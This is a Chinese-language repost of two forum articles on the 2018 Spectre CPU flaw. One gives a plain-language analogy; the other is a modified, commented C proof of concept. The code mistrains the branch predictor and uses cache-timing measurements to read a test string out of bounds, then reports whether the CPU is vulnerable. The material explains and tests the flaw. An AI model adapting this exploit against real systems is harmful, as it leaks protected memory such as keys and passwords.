通俗理解這次的CPU漏洞,附帶修改過帶註釋原始碼一份

Editor發表於2018-01-08

通俗理解這次的CPU漏洞,附帶修改過帶註釋原始碼一份

通俗理解這次的CPU漏洞

文 | 軒轅之風

看雪論壇


技術分析想必大家已經看了不少,我來一個最簡單好理解的例子:

生活例項:新生入學報導


(為簡化問題,假設今天只有你一個人去學校報導,並且學校工作人員都是250)


開學去學校報導,三個步驟(三條CPU指令):

      1)憑藉錄取通知書去領學號

      2)憑藉領取到的學號去領寢室號

      3)憑藉領取到的寢室號去領寢室鑰匙


開學了,你撿到一張錄取通知書,通知書編號是1001,然後去拿著它去學校報導,報導工作處有三個工作人員甲乙丙。甲負責直接和你互動,甲拿到你的入學通知書後開始查詢你的學號,然後填寫表格,然後把學號給你。


與此同時,工作人員乙拿到甲查到的學號後,去表格中查你對應的寢室號,等甲辦完以後直接交給你。


還是與此同時,工作人員丙拿到乙查到的寢室號後開始去庫房的鑰匙櫃架取出你的鑰匙放在辦公桌(同時,為了避免等會又跑一趟,它把這棟樓這一層的鑰匙盒直接拿到辦公室了,等會就不用再去庫房奔波了),等乙辦完以後就交給你。


但是,這個時候,甲發現你身份有問題,這不是你的錄取通知書,不能給你辦理入學手續,不能把學號給你。於是你被打回。


可是:乙已經提前幫你把對應學號的寢室號取到了(只是還沒給你),丙也已經提前幫你把對應寢室的鑰匙給你拿到了(只是還沒給你)


好,你被拒絕辦理入學了,因為你是假冒的。


實際上,你已經是在校生了,不是大一新生,剛才你是故意去假冒大一新生去報導。


這個時候,你去丙的辦公室借鑰匙。往常丙都是說你等一下,我去給你拿,然後會等差不多五分鐘,丙給你拿來鑰匙。但今天不同的是,今天沒有等那麼久,而是直接就把鑰匙取出來了給你,全程不超過10秒鐘。


於是,你明白了,一定是我剛才假冒去甲辦理入學的時候,丙把鑰匙盒取過來的,於是你意識到:我開始撿到的1001號的錄取通知書新生住在我們這棟樓這一層。


於是,你如法炮製,偽造1002,1003,1999···號錄取通知書去報導,然後知道了他們每個人住在哪一棟那一層。


原文連結:https://bbs.pediy.com/thread-223836.htm

——————————————————————

最近比較火的CPU漏洞解析,附帶修改過帶註釋原始碼一份


文 | CSZQ

看雪論壇


先說結果,由於CPU亂序執行和分支預測功能,可以通過判斷需要讀取的頁面是否被 cache 快取來判斷記憶體中存在什麼內容。

簡單粗暴,直接上本帥改過的程式碼,含中文註釋,不謝。

另外膜拜下這份原始碼的大神。


/*
   modify by:CSZQ
*/
/*
   配置
*/
#define __DEBUG            0                                               // 除錯模式開關,會開啟額外輸出
#define __TRYTIMES     50                                              // 每個字元嘗試讀取次數
/*
   測試讀取的資料
*/
#define __MAGICWORDS 
"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890"   
#define __MAGICWORDSCOUNT (sizeof(__MAGICWORDS) - 1)                // 測試資料長度
/*
   cache 命中閥值,是一個經驗值,不成功9.9可能這裡不對,預設值 50 ,可以通過 -t 傳參修改
   該數值與記憶體質量、CPU多項引數有關,是一個經驗值,下面給出一些基於本帥移動端的 CPU Intel I7-4700MQ 給出的引數取值
   取值大致範圍:16 - 176
*/
#define CACHE_HIT_THRESHOLD (50)
/*
   標頭檔案
*/
#include 
#include 
#include 
#include 
#pragma optimize("gt",on)
/*
   全域性變數
*/
unsigned int array1_size = 16;                                          // 排除 ASCII 碼錶前 16 個字元
uint8_t array1[160]      = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };    // 一個字典
uint8_t array2[256 * 512];                                               // 256 對應 ASCII 碼錶
const char *secret       = __MAGICWORDS;                              // 測試讀取的資料
int iThreshold           = CACHE_HIT_THRESHOLD;                            // 讀取時間閥值
/*
   使用 temp 全域性變數阻止編譯器優化 victim_function()
*/
uint8_t temp = 0;
void victim_function(size_t x) {
   /*
       x 取值 0 - 15 時 獲取 arrary2 的 1 - 16 分組 & temp 後賦值給 temp
       temp 一直為 0
       發生 evil 分支預測:
       array1[x] 在 5 次分支預測時載入的值就是當前需要讀取的虛擬地址
       array2[array1[x] * 512] 在 5 次分支預測期間讀取的是 標準ASCII 0 - 127 * 512 所在地址的 array2 陣列內容
       其他分支預測:
       array1[x] cache 中的是根據嘗試次數獲取到的正常 array1 陣列標準值
       array2[array1[x] * 512] 在cache中快取的是 ASCII 碼錶 1 - 16 號字元
   */
   if (x < array1_size) {
       temp &= array2[array1[x] * 512];
   }
}
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
   static int results[256];                                          // 對應 ASCII 碼錶
   int tries, i, j, k, mix_i;
   unsigned int junk = 0;
   size_t training_x, x;
   register uint64_t time1, time2;
   volatile uint8_t *addr;
   for (i = 0; i < 256; i++)
       results[i] = 0;
   /*
       每個字元多次嘗試獲取以增加成功率
   */
   for (tries = __TRYTIMES; tries > 0; tries--) {
       /*
           清空 array2 的每 512 位元組首地址 cache
       */
       for (i = 0; i < 256; i++)
 
          _mm_clflush(&array2[i * 512]);                             
   // _mm_clflush:Invalidate and flush the cache line that contains p 
from all levels of the cache hierarchy
       training_x = tries % array1_size;
       /*
           訓練 CPU 快取需要的資料
       */
       for (j = 29; j >= 0; j--) {
           _mm_clflush(&array1_size);                                  // 清空 array1_size 的快取
           /*
               100 次記憶體取值用作延時,確保 cache 頁全部換出
           */
           for (volatile int z = 0; z < 100; z++) {}
           /*
               在這一步:
               j % 6 =  0 則 x = 0xFFFF0000
               j % 6 != 0 則 x = 0x00000000
               Avoid jumps in case those tip off the branch predictor
           */
           x = ((j % 6) - 1) & ~0xFFFF;
           /*
               到這裡:
               j % 6 =  0 則 x = 0xFFFFFFFF
               j % 6 != 0 則 x = 0x00000000
           */
           x = (x | (x >> 16));
           /*
               最後:
               j % 6 =  0 則 x = malicious_x
               j % 6 != 0 則 x = training_x
           */
           x = training_x ^ (x & (malicious_x ^ training_x));
           /*
               呼叫觸發 cache 程式碼
               共計觸發 5 次,j = 24、18、12、6、0時,都會觸發分支預測
           */
           victim_function(x);
       }
       /*
           退出此函式時 cache 中已經快取了需要越權獲取的資料
       */
       /*
           讀取時間。執行順序輕微混淆防止 stride prediction(某種分支預測方法)
           i 取值 0 - 255 對應 ASCII 碼錶
       */
       for (i = 0; i < 256; i++) {
           /*
               TODO: 賊NB的數學遊戲,值得叫 666
               167  0xA7  1010 0111
               13   0x0D  0000 1101
               取值結果為 0 - 255 隨機數且不重複
           */
           mix_i = ((i * 167) + 13) & 255;
           /*
               addr 取 arrary2 中 0-255 組的首地址
           */
           addr = &array2[mix_i * 512];
           /*
               junk 儲存 TSC_AUX 暫存器值
               time1 儲存當前時間戳
           */
           time1 = __rdtscp(&junk);
           /*
               獲取資料,用以測試時間
           */
           junk = *addr;
           /*
               記錄並獲取耗時
           */
           time2 = __rdtscp(&junk) - time1;
           /*
               判斷是否命中,且 mix_i 不能取 1 - 16,因為 1 - 16 在獲取時是無效的
           */
           if (time2 <= iThreshold && mix_i != array1[tries % array1_size])
               /*
               cache arrary2中的 0-255 項命中則 +1 分
               */
               results[mix_i]++;
       }
       /*
           獲取分組中命中率最高的兩個分組,分別儲存在 j(最高命中),k(次高命中) 裡
       */
       j = k = -1;
       for (i = 0; i < 256; i++) {
           if (j < 0 || results[i] >= results[j]) {
               k = j;
               j = i;
           }
           else if (k < 0 || results[i] >= results[k]) {
               k = i;
           }
       }
       /*
           最高命中項命中次數大於 2 倍加 5 的次高命中項次數
           或
           僅僅最高命中項命中 2 次
           則
           退出迴圈,成功找到命中項
       */
       if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
           break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
   }
   /*
       使用 junk 防止優化輸出
   */
   results[0] ^= junk;
   value[0] = (uint8_t)j;//最高命中項
   score[0] = results[j];//最高命中項命中次數
   value[1] = (uint8_t)k;//次高命中項
   score[1] = results[k];//次高命中項命中次數
}
int main(int argc, const char **argv) {
   size_t malicious_x = (size_t)(secret - (char*)array1); /* 相對地址 */
   int i, score[2], iLen = __MAGICWORDSCOUNT, iCount = 0;
   char *opt, *addr;
   uint8_t value[2];
   printf("Provide by CSZQ\n");
   /*
       引數解析
   */
   if (argc > 1) {
       opt = (char*)&argv[1][1];
       switch (*opt) {
       case 'h':
           printf("-h  help\n-t 設定閥值,建議取值 16 - 176 之間,預設 50\n");
           return 0;
       case 't':
           if (argc==2) {
               sscanf(opt + 1, "%d", &iThreshold);
           }
           else {
               sscanf(argv[2], "%d", &iThreshold);
           }
           break;
       }
   }
   for (i = 0; i < sizeof(array2); i++)
       array2[i] = 1; /* 避免寫時複製 */
#if __DEBUG > 0
   printf("Reading %d bytes:\n", iLen);
#endif
   i = iLen;
   while (--i >= 0) {
#if __DEBUG > 0
       printf("讀取地址:%p ", (void*)malicious_x);
#endif
       readMemoryByte(malicious_x++, value, score);
       addr = (char*)array1 + malicious_x - 1;
       if (value[0] == *addr) {
           iCount += (score[0] > 2 * score[1]) ? 1 : 0;
       }
#if __DEBUG > 0
       /*
           如果最高命中項命中次數大於等於 2 倍的次高命中項,認為分支預測成功
       */
       printf("%s: ", (score[0] >= 2 * score[1] ? "成功" : "...."));
       printf("value:0x%02X char=%c counts=%d ", value[0],
           ((value[0] > 31 && value[0] < 127) ? (char)value[0] : '?'), score[0]);
       if (score[1] > 0)
 
          printf("(可能:value:0x%02X char=%c counts=%d)", value[1], 
((value[0] > 31 && value[0] < 127) ? (char)value[0] : 
'?'), score[1]);
       printf("\n");
#endif
   }
   /*
       命中次數超過 1/5 認為存在BUG,過低有可能是巧合或閥值需要調整
   */
   printf("%s\r\n", (iCount >= __MAGICWORDSCOUNT / 5) ? "--->存在BUG!!!<---" : "--->不存在BUG<---");
   printf("%d 閥值下命中率為:%d / %d\r\n", iThreshold, iCount, iLen);
   printf("按任意鍵退出程式...\r\n");
   getchar();
   return (0);
}


原文連結:https://bbs.pediy.com/thread-223824.htm


更多詳情可參考看雪論壇專題帖: [討論]Intel 曝出處理器設計漏洞,影響 Linux 和 Windows 核心

相關文章